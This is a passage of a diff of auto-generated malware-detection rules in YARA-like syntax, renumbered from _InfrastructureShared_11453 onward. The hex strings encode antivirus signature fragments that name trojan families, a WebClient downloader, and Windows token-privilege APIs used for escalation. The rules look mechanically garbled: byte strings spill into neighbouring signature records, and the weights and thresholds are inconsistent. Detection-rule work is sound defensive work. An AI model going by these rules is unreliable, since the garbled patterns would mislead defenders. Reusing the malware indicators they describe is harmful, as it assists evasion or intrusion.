1)*18467+(#a_6d_2 & 1)*17153+(#a_01_3 & 1)*6912+(#a_72_4 & 1)*14918+(#a_65_5 & 1)*11575) >=7 } -rule _InfrastructureShared_11453{ +rule _InfrastructureShared_12198{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -126140,7 +134481,7 @@ rule _InfrastructureShared_11453{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*18177+(#a_21_2 & 1)*18254+(#a_38_3 & 1)*12387+(#a_74_4 & 1)*18176+(#a_00_5 & 1)*25964+(#a_61_6 & 1)*25701) >=7 } -rule _InfrastructureShared_11454{ +rule _InfrastructureShared_12199{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 05 00 21 " @@ -126153,7 +134494,7 @@ rule _InfrastructureShared_11454{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*12897+(#a_65_2 & 1)*28245+(#a_00_4 & 1)*115) >=9 } -rule _InfrastructureShared_11455{ +rule _InfrastructureShared_12200{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 05 00 21 " @@ -126167,7 +134508,7 @@ rule _InfrastructureShared_11455{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*37+(#a_79_2 & 1)*30565+(#a_4f_3 & 1)*24403+(#a_01_4 & 1)*29206) >=9 } -rule _InfrastructureShared_11456{ +rule _InfrastructureShared_12201{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0b 00 06 00 21 " @@ -126182,7 +134523,7 @@ rule _InfrastructureShared_11456{ ((#a_77_0 & 1)*16675+(#a_65_1 & 1)*21039+(#a_4c_2 & 1)*17244+(#a_54_3 & 1)*28261+(#a_72_4 & 1)*27987+(#a_05_5 & 1)*8209) >=11 } -rule _InfrastructureShared_11457{ +rule _InfrastructureShared_12202{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -126194,7 +134535,7 @@ rule _InfrastructureShared_11457{ ((#a_54_0 & 1)*18467+(#a_a2_1 & 1)*400+(#a_26_2 & 1)*400) >=12 } -rule _InfrastructureShared_11458{ +rule _InfrastructureShared_12203{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -126206,7 +134547,7 @@ rule _InfrastructureShared_11458{ ((#a_54_0 & 1)*18467+(#a_1f_1 & 1)*1025+(#a_80_2 & 1)*1) >=12 } -rule _InfrastructureShared_11459{ +rule _InfrastructureShared_12204{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -126218,7 +134559,7 @@ rule _InfrastructureShared_11459{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-28632+(#a_90_2 & 1)*523) >=12 } -rule _InfrastructureShared_11460{ +rule _InfrastructureShared_12205{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -126229,7 +134570,7 @@ rule _InfrastructureShared_11460{ ((#a_4c_0 & 1)*21539+(#a_01_2 & 1)*-28632) >=12 } -rule _InfrastructureShared_11461{ +rule _InfrastructureShared_12206{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -126242,7 +134583,7 @@ rule _InfrastructureShared_11461{ ((#a_54_0 & 1)*18467+(#a_07_1 & 1)*-10729+(#a_05_2 & 1)*1546+(#a_80_3 & 1)*1) >=13 } -rule _InfrastructureShared_11462{ +rule _InfrastructureShared_12207{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -126254,7 +134595,7 @@ rule _InfrastructureShared_11462{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*1800+(#a_6e_2 & 1)*27247) >=13 } -rule _InfrastructureShared_11463{ +rule _InfrastructureShared_12208{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -126269,7 +134610,7 @@ rule _InfrastructureShared_11463{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25965+(#a_54_2 & 1)*18467+(#a_80_3 & 1)*2+(#a_80_4 & 1)*2+(#a_80_5 & 1)*2) >=15 } -rule _InfrastructureShared_11464{ +rule _InfrastructureShared_12209{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 04 00 21 " @@ -126282,7 +134623,7 @@ rule _InfrastructureShared_11464{ ((#a_54_0 & 1)*18467+(#a_80_1 & 1)*2+(#a_80_2 & 1)*2+(#a_80_3 & 1)*2) >=16 } -rule _InfrastructureShared_11465{ +rule _InfrastructureShared_12210{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -126296,21 +134637,33 @@ rule _InfrastructureShared_11465{ ((#a_54_0 & 1)*18467+(#a_4c_1 & 1)*-32760+(#a_6c_2 & 1)*17253+(#a_53_3 & 1)*29285+(#a_00_4 & 1)*97) >=18 } -rule _InfrastructureShared_11466{ +rule _InfrastructureShared_12211{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,29 00 29 00 06 00 21 " strings : $a_54_0 = {3a 4d 53 49 4c 2f 50 6f 73 73 69 62 6c 65 44 6f 77 6e 6c 6f 61 64 65 72 2e 53 30 32 00 0a 00 0b 01 53 79 73 74 65 6d 2e 4e 65 74 00 0a 00 0a 01 57 65 62 43 6c 69 65 6e 74 00 0a 00 0d 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 00 0a 00 17 03 48 69 64 65 } //18467 $a_50_1 = {65 74 } //-28672 et - $a_6f_2 = {49 63 6f 6e 00 90 00 01 00 15 03 41 70 70 44 6f 6d 61 69 6e 00 90 02 60 00 4c 6f 61 64 00 90 00 01 00 14 03 41 73 73 65 6d 62 6c 79 00 90 02 60 00 4c 6f 61 64 00 90 00 00 00 78 a5 00 00 64 00 64 00 05 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 46 69 6c 65 45 78 65 4a 6f 69 6e 65 72 00 32 00 1e 01 61 75 74 68 6f 72 } //21343 - $a_69_3 = {3d 73 75 70 70 6f 72 74 40 61 6c 6d 64 65 76 2e 63 6f 6d 1e 00 1a 81 01 68 74 74 70 3a 2f 2f 77 77 77 2e 66 69 6c 65 2d 6a 6f 69 6e 65 72 2e 63 6f 6d 14 00 0e 81 01 46 69 6c 65 4a 6f 69 6e 65 72 2e 65 78 65 19 00 18 81 01 68 74 74 70 3a 2f 2f 77 77 77 2e 65 78 65 6a 6f 69 6e 65 72 2e 63 6f } //28005 - $a_58_5 = {4a 6f 69 6e 65 72 2e 65 78 65 00 00 78 a5 00 00 90 01 90 01 04 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 41 72 74 69 65 50 6c 61 79 2e 41 21 64 68 61 00 64 00 19 01 6e 65 74 20 75 } //385 + $a_6f_2 = {49 63 6f 6e 00 90 00 01 00 15 03 41 70 70 44 6f 6d 61 69 6e 00 90 02 60 00 4c 6f 61 64 00 90 00 01 00 14 03 41 73 73 65 6d 62 6c 79 00 90 02 60 00 4c 6f 61 64 00 90 00 00 00 78 a5 00 00 55 00 55 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 63 43 6c 69 65 6e 74 2e 4d 52 21 4d 54 42 00 32 } //21343 + $a_8b_3 = {25 ff ff } //9472 + $a_e0_4 = {8b f8 66 8b 14 0f 8b ce 52 e8 90 01 04 90 90 8b 06 66 8b 4c 07 02 51 8b ce 90 00 0a 00 0f 01 8b c8 25 ff ff 00 00 66 8b 04 82 66 3d ff ff 19 00 3a 01 8b 50 14 8b 78 10 8b 70 0c 8b 48 08 03 d7 89 5c 24 20 03 d6 89 5c 24 14 03 d1 c6 44 24 47 04 c6 44 24 48 02 8d 4c 02 20 b0 08 88 44 24 46 88 44 24 45 8d 44 24 20 8d 54 24 14 00 00 78 a5 00 00 64 00 64 00 05 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 46 69 6c 65 45 78 65 4a 6f 69 6e 65 72 00 32 00 1e 01 61 75 74 68 6f 72 65 6d 61 69 6c 3d 73 75 70 70 6f 72 74 40 61 6c 6d 64 65 76 2e 63 6f 6d 1e 00 1a 81 01 68 74 74 70 3a 2f 2f 77 } //0 + $a_66_5 = {6c 65 2d 6a 6f 69 6e 65 72 2e 63 6f 6d 14 00 0e 81 01 46 69 6c 65 4a 6f 69 6e 65 72 2e 65 78 65 19 00 18 81 01 68 74 74 70 3a 2f 2f 77 77 } //30583 condition: - ((#a_54_0 & 1)*18467+(#a_50_1 & 1)*-28672+(#a_6f_2 & 1)*21343+(#a_69_3 & 1)*28005+(#a_58_5 & 1)*385) >=41 + ((#a_54_0 & 1)*18467+(#a_50_1 & 1)*-28672+(#a_6f_2 & 1)*21343+(#a_8b_3 & 1)*9472+(#a_e0_4 & 1)*0+(#a_66_5 & 1)*30583) >=41 } -rule _InfrastructureShared_11467{ +rule _InfrastructureShared_12212{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,55 00 55 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 63 43 6c 69 65 6e 74 2e 4d 52 21 4d 54 42 00 32 00 25 03 8b 0e 25 ff ff 00 00 c1 e0 02 8b f8 66 8b 14 0f 8b ce 52 e8 90 01 04 90 90 8b 06 66 8b 4c 07 02 51 8b ce 90 } //21539 + $a_25_2 = {ff 00 00 66 8b 04 82 66 3d ff ff 19 00 3a 01 8b 50 14 8b 78 10 8b 70 0c 8b 48 08 03 d7 89 5c 24 20 03 d6 89 5c 24 14 03 d1 c6 44 24 47 04 c6 44 24 48 02 8d 4c 02 20 b0 08 88 44 24 46 88 44 24 45 8d 44 24 20 8d 54 24 14 00 00 78 a5 00 00 64 00 64 00 05 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 46 69 6c 65 45 78 65 4a 6f 69 6e 65 72 00 32 00 1e 01 61 75 74 68 6f 72 65 6d 61 69 6c 3d 73 75 70 70 6f 72 74 40 61 6c 6d 64 65 76 2e 63 6f 6d 1e 00 1a 81 01 68 74 74 70 3a 2f 2f 77 77 77 2e 66 69 6c 65 2d 6a 6f 69 6e 65 72 2e 63 6f 6d 14 00 0e 81 01 46 69 6c 65 4a 6f 69 6e 65 72 2e 65 78 65 19 00 18 81 01 } //-29951 + condition: + ((#a_4c_0 & 1)*21539+(#a_25_2 & 1)*-29951) >=85 + +} +rule _InfrastructureShared_12213{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 05 00 21 " @@ -126323,7 +134676,7 @@ rule _InfrastructureShared_11467{ ((#a_6c_0 & 1)*16675+(#a_74_1 & 1)*26625+(#a_20_3 & 1)*25966+(#a_53_4 & 1)*25673) >=100 } -rule _InfrastructureShared_11468{ +rule _InfrastructureShared_12214{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff90 01 ffffff90 01 04 00 21 " @@ -126335,7 +134688,7 @@ rule _InfrastructureShared_11468{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*29541+(#a_41_3 & 1)*-30396) >=400 } -rule _InfrastructureShared_11469{ +rule _InfrastructureShared_12215{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -126345,7 +134698,7 @@ rule _InfrastructureShared_11469{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_11470{ +rule _InfrastructureShared_12216{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -126355,7 +134708,7 @@ rule _InfrastructureShared_11470{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11471{ +rule _InfrastructureShared_12217{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -126365,7 +134718,7 @@ rule _InfrastructureShared_11471{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11472{ +rule _InfrastructureShared_12218{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -126375,7 +134728,7 @@ rule _InfrastructureShared_11472{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11473{ +rule _InfrastructureShared_12219{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -126385,7 +134738,7 @@ rule _InfrastructureShared_11473{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11474{ +rule _InfrastructureShared_12220{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -126395,7 +134748,7 @@ rule _InfrastructureShared_11474{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11475{ +rule _InfrastructureShared_12221{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -126405,7 +134758,7 @@ rule _InfrastructureShared_11475{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_11476{ +rule _InfrastructureShared_12222{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -126415,7 +134768,7 @@ rule _InfrastructureShared_11476{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_11477{ +rule _InfrastructureShared_12223{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -126426,7 +134779,7 @@ rule _InfrastructureShared_11477{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*20002) >=1 } -rule _InfrastructureShared_11478{ +rule _InfrastructureShared_12224{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -126437,7 +134790,18 @@ rule _InfrastructureShared_11478{ ((#a_46_0 & 1)*16675+(#a_c1_1 & 1)*-7805) >=1 } -rule _InfrastructureShared_11479{ +rule _InfrastructureShared_12225{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " + + strings : + $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 6c 6f 77 65 72 50 6f 74 2e 41 21 64 68 61 00 01 00 38 42 f3 0f 6f 0c 10 f3 0f 6f 84 04 90 01 04 0f 57 c1 f3 0f 7f 84 04 90 01 04 f3 0f 6f 84 04 90 01 04 0f 57 c1 f3 0f 7f 84 04 } //16675 + $a_48_1 = {40 90 01 01 } //400 + condition: + ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*400) >=1 + +} +rule _InfrastructureShared_12226{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -126448,7 +134812,7 @@ rule _InfrastructureShared_11479{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-18171) >=1 } -rule _InfrastructureShared_11480{ +rule _InfrastructureShared_12227{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -126460,7 +134824,7 @@ rule _InfrastructureShared_11480{ ((#a_54_0 & 1)*18467+(#a_36_1 & 1)*13879+(#a_00_2 & 1)*2) >=1 } -rule _InfrastructureShared_11481{ +rule _InfrastructureShared_12228{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -126470,7 +134834,7 @@ rule _InfrastructureShared_11481{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_11482{ +rule _InfrastructureShared_12229{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -126480,7 +134844,7 @@ rule _InfrastructureShared_11482{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_11483{ +rule _InfrastructureShared_12230{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -126491,7 +134855,7 @@ rule _InfrastructureShared_11483{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*11617) >=2 } -rule _InfrastructureShared_11484{ +rule _InfrastructureShared_12231{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -126501,7 +134865,18 @@ rule _InfrastructureShared_11484{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_11485{ +rule _InfrastructureShared_12232{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_63_0 = {70 74 69 6f 6e 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 50 45 49 6e 41 72 63 45 6d 61 69 6c 2e 53 54 41 00 01 00 2b 81 01 25 41 50 50 44 41 54 41 25 5c 4d 69 63 72 6f 73 6f 66 74 5c 53 69 67 6e 61 74 75 72 65 73 5c 6c 61 75 72 65 6e 63 65 2e 74 78 74 01 00 3b 81 01 42 65 67 69 6e 50 72 6f 6d 70 74 3d 22 56 6f 75 6c 65 7a 20 76 6f 75 73 20 69 6e } //17699 + $a_6c_1 = {65 72 20 76 6f 74 72 65 20 73 69 67 6e 61 74 75 72 65 20 45 6d 61 69 6c 20 3f 22 00 00 78 a6 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 56 42 54 30 31 21 4d 54 42 00 01 00 3f 03 00 02 6f 6e 00 00 0a 0a 06 18 5b 8d 90 } //29811 + condition: + ((#a_63_0 & 1)*17699+(#a_6c_1 & 1)*29811) >=2 + +} +rule _InfrastructureShared_12233{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -126512,7 +134887,7 @@ rule _InfrastructureShared_11485{ ((#a_54_0 & 1)*18467+(#a_9c_1 & 1)*0) >=2 } -rule _InfrastructureShared_11486{ +rule _InfrastructureShared_12234{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -126522,7 +134897,7 @@ rule _InfrastructureShared_11486{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_11487{ +rule _InfrastructureShared_12235{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -126534,7 +134909,7 @@ rule _InfrastructureShared_11487{ ((#a_4c_0 & 1)*21539+(#a_50_1 & 1)*400+(#a_c0_2 & 1)*1025) >=2 } -rule _InfrastructureShared_11488{ +rule _InfrastructureShared_12236{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -126546,7 +134921,7 @@ rule _InfrastructureShared_11488{ ((#a_46_0 & 1)*16675+(#a_48_2 & 1)*1163+(#a_4c_3 & 1)*18468) >=2 } -rule _InfrastructureShared_11489{ +rule _InfrastructureShared_12237{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -126559,7 +134934,7 @@ rule _InfrastructureShared_11489{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*58+(#a_00_2 & 1)*0+(#a_23_3 & 1)*6) >=2 } -rule _InfrastructureShared_11490{ +rule _InfrastructureShared_12238{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -126573,7 +134948,7 @@ rule _InfrastructureShared_11490{ ((#a_54_0 & 1)*18467+(#a_59_1 & 1)*8192+(#a_00_3 & 1)*79+(#a_42_4 & 1)*12851+(#a_69_5 & 1)*26470) >=2 } -rule _InfrastructureShared_11491{ +rule _InfrastructureShared_12239{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -126585,7 +134960,7 @@ rule _InfrastructureShared_11491{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*28783+(#a_33_2 & 1)*13106) >=3 } -rule _InfrastructureShared_11492{ +rule _InfrastructureShared_12240{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -126597,7 +134972,7 @@ rule _InfrastructureShared_11492{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28783+(#a_30_2 & 1)*20562) >=3 } -rule _InfrastructureShared_11493{ +rule _InfrastructureShared_12241{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -126607,21 +134982,47 @@ rule _InfrastructureShared_11493{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_11494{ +rule _InfrastructureShared_12242{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {57 69 6e 36 34 2f 48 75 6e 74 69 6e 67 53 6e 61 6b 65 73 2e 49 00 01 00 19 03 48 89 c2 48 8b 85 90 01 04 48 89 c1 48 8b 05 90 01 04 ff d0 48 89 85 90 00 01 00 3b 03 48 8b 95 e8 02 00 00 48 8b 85 a8 1f 03 00 c7 44 24 28 90 01 04 } //21283 + $a_20_1 = {01 04 4c 8b 95 98 1f 03 00 41 b9 90 01 04 49 89 d0 ba 90 01 04 48 89 c1 41 ff d2 48 89 45 e8 90 00 01 00 22 } //17607 + $a_55_2 = {48 8b 85 90 01 04 48 c7 44 24 20 90 01 04 41 b9 90 01 04 41 b8 90 01 04 48 89 c1 e8 90 00 00 00 78 a6 00 00 03 00 03 00 05 00 21 23 41 4c 46 3a 48 53 54 52 2e 47 6f 44 6f 77 6e 2d 6c 6f 61 64 65 72 2e 53 31 00 01 00 14 01 6d 61 69 6e 2e 63 72 65 61 74 65 5f 6e 65 77 5f 66 69 6c 65 01 00 13 01 6d 61 69 6e 2e 77 72 69 74 65 5f 6e 65 77 5f 66 69 6c 65 01 00 13 01 6d 61 69 6e 2e 61 73 65 44 65 63 72 79 70 74 5f 6f 62 } //18435 + condition: + ((#a_46_0 & 1)*21283+(#a_20_1 & 1)*17607+(#a_55_2 & 1)*18435) >=3 + +} +rule _InfrastructureShared_12243{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " strings : $a_46_0 = {48 53 54 52 2e 47 6f 44 6f 77 6e 2d 6c 6f 61 64 65 72 2e 53 31 00 01 00 14 01 6d 61 69 6e 2e 63 72 65 61 74 65 5f 6e 65 77 5f 66 69 6c 65 01 00 13 01 6d 61 69 6e 2e 77 72 69 74 65 5f 6e 65 77 5f 66 69 6c 65 01 00 13 01 6d 61 69 } //16675 - $a_73_1 = {44 65 63 72 79 70 74 5f 6f 62 66 01 00 20 01 6d 61 69 6e 2e 28 2a 45 78 65 63 29 2e 67 65 74 5f 63 6f 6d 6d 61 6e 64 5f 63 6f 6e 74 65 78 74 01 00 14 01 2f 6c 6f 61 64 65 72 2f 74 65 6d 70 2f 74 65 6d 70 2e 67 6f 00 00 78 a6 00 00 04 00 03 00 05 00 21 23 48 53 54 52 3a 50 79 49 6e 73 74 61 } //11886 - $a_72_2 = {50 61 63 6b 61 67 65 64 5f 53 63 72 69 70 74 00 01 00 0b 01 5f 4d 45 49 50 41 53 53 32 3d 00 01 00 07 01 5f 4d 45 49 25 64 00 01 00 23 01 43 6f 75 6c 64 20 6e 6f 74 20 61 6c 6c 6f 63 61 74 65 20 62 75 66 66 65 72 20 66 6f 72 20 54 4f 43 2e 00 01 00 2a 01 43 61 6e 6e 6f 74 20 61 6c 6c 6f 63 61 74 65 20 } //27756 - $a_6f_3 = {79 20 66 6f 72 20 41 52 43 48 49 56 45 5f 53 54 41 54 55 53 00 01 00 08 01 50 59 5a 00 03 f3 0d 0a 00 00 78 a6 00 00 04 00 04 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 75 73 79 2e 48 4e 41 52 21 4d 54 42 00 02 00 18 01 41 f7 e8 c1 fa 02 8b ca c1 e9 1f 03 d1 6b ca 15 8b d6 44 2b c1 48 8b cd 01 00 26 } //25965 - $a_45_4 = {48 8b 45 00 48 89 45 48 4c 89 75 00 48 8b 45 00 48 89 45 50 4c 89 6d 00 48 8b 45 00 48 89 45 58 48 b8 01 00 33 01 48 8b 45 00 48 89 45 28 4c 89 75 00 48 8b 45 00 48 89 85 e0 00 00 00 48 89 7d 00 48 8b 45 00 48 89 85 e8 00 00 00 66 0f 6f 45 20 66 0f ef 85 e0 00 00 00 00 00 78 a6 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 59 32 56 3a 46 4c 6f 72 69 61 6e 5f 52 6f 74 68 2f 41 50 54 5f 50 72 6f 6a 65 63 74 5f 53 } //18433 + $a_73_1 = {44 65 63 72 79 70 74 5f 6f 62 66 01 00 20 01 6d 61 69 6e 2e 28 2a 45 78 65 63 29 2e 67 65 74 5f 63 6f 6d 6d 61 6e 64 5f 63 6f 6e 74 65 78 74 01 00 14 01 2f 6c 6f 61 64 65 72 2f 74 65 6d 70 2f 74 65 6d 70 2e 67 6f 00 00 78 a6 00 00 03 00 03 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 50 } //11886 + $a_69_2 = {65 67 65 41 63 63 65 73 73 2e 50 52 21 41 4d 54 42 00 01 00 15 81 01 41 64 6a 75 73 74 54 6f 6b 65 6e 50 72 69 76 69 6c 65 67 65 73 01 00 10 81 01 4f 70 65 6e 50 72 6f 63 65 73 73 54 6f 6b 65 6e 01 00 14 81 01 4c 6f 6f 6b 75 70 50 72 69 76 69 6c 65 67 65 56 61 6c 75 65 01 00 17 81 01 49 6d 70 65 72 73 6f 6e 61 74 65 4c 6f 67 67 65 64 4f 6e 55 73 65 72 } //26994 + $a_81_3 = {44 75 70 6c 69 63 61 74 65 54 6f 6b 65 6e 45 78 } //1 DuplicateTokenEx + $a_a6_4 = {00 04 00 03 00 05 00 21 23 48 53 54 52 3a 50 79 49 6e 73 74 61 6c 6c 65 72 5f 50 61 63 6b 61 67 65 64 5f 53 63 72 69 70 74 00 01 00 0b 01 5f 4d 45 49 50 41 53 53 32 3d 00 01 00 07 01 5f 4d 45 49 25 64 00 01 00 23 01 43 6f 75 6c 64 20 6e 6f 74 20 61 6c 6c 6f 63 61 74 65 20 62 75 66 66 65 72 20 66 6f 72 20 54 4f 43 2e 00 01 00 2a 01 43 61 6e 6e 6f 74 20 61 6c } //0 condition: - ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*11886+(#a_72_2 & 1)*27756+(#a_6f_3 & 1)*25965+(#a_45_4 & 1)*18433) >=3 + ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*11886+(#a_69_2 & 1)*26994+(#a_81_3 & 1)*1+(#a_a6_4 & 1)*0) >=3 } -rule _InfrastructureShared_11495{ +rule _InfrastructureShared_12244{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 50 72 69 76 69 6c 65 67 65 41 63 63 65 73 73 2e 50 52 21 41 4d 54 42 00 01 00 15 81 01 41 64 6a 75 73 74 54 6f 6b 65 6e 50 72 69 76 69 6c 65 67 65 73 01 00 10 81 01 4f 70 65 6e 50 72 6f 63 65 73 73 54 6f 6b 65 6e 01 00 14 81 01 } //18467 + $a_6b_1 = {70 50 72 69 76 69 6c 65 67 65 56 61 6c 75 65 01 00 17 81 01 49 6d 70 65 72 73 6f 6e 61 74 65 4c 6f 67 67 65 64 4f 6e 55 73 65 72 01 00 10 81 01 44 75 70 6c 69 63 61 74 65 54 6f 6b 65 6e 45 78 00 00 78 a6 00 00 04 00 03 00 05 00 21 23 48 53 54 52 3a 50 79 49 6e 73 74 61 6c 6c 65 72 5f 50 61 63 6b 61 67 65 64 5f 53 63 72 69 70 74 00 } //28492 + $a_01_2 = {5f 4d 45 49 50 41 53 53 32 3d 00 } //1 + $a_01_3 = {5f 4d 45 49 25 64 00 } //1 + $a_01_4 = {43 6f 75 6c 64 20 6e 6f 74 20 61 6c 6c 6f 63 61 74 65 20 62 75 66 66 65 72 20 66 6f 72 20 54 4f 43 2e 00 } //1 + condition: + ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*28492+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=3 + +} +rule _InfrastructureShared_12245{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 03 00 05 00 21 " @@ -126635,7 +135036,7 @@ rule _InfrastructureShared_11495{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*8306+(#a_4d_2 & 1)*21057+(#a_45_3 & 1)*18433+(#a_6f_4 & 1)*30049) >=3 } -rule _InfrastructureShared_11496{ +rule _InfrastructureShared_12246{ meta: description = 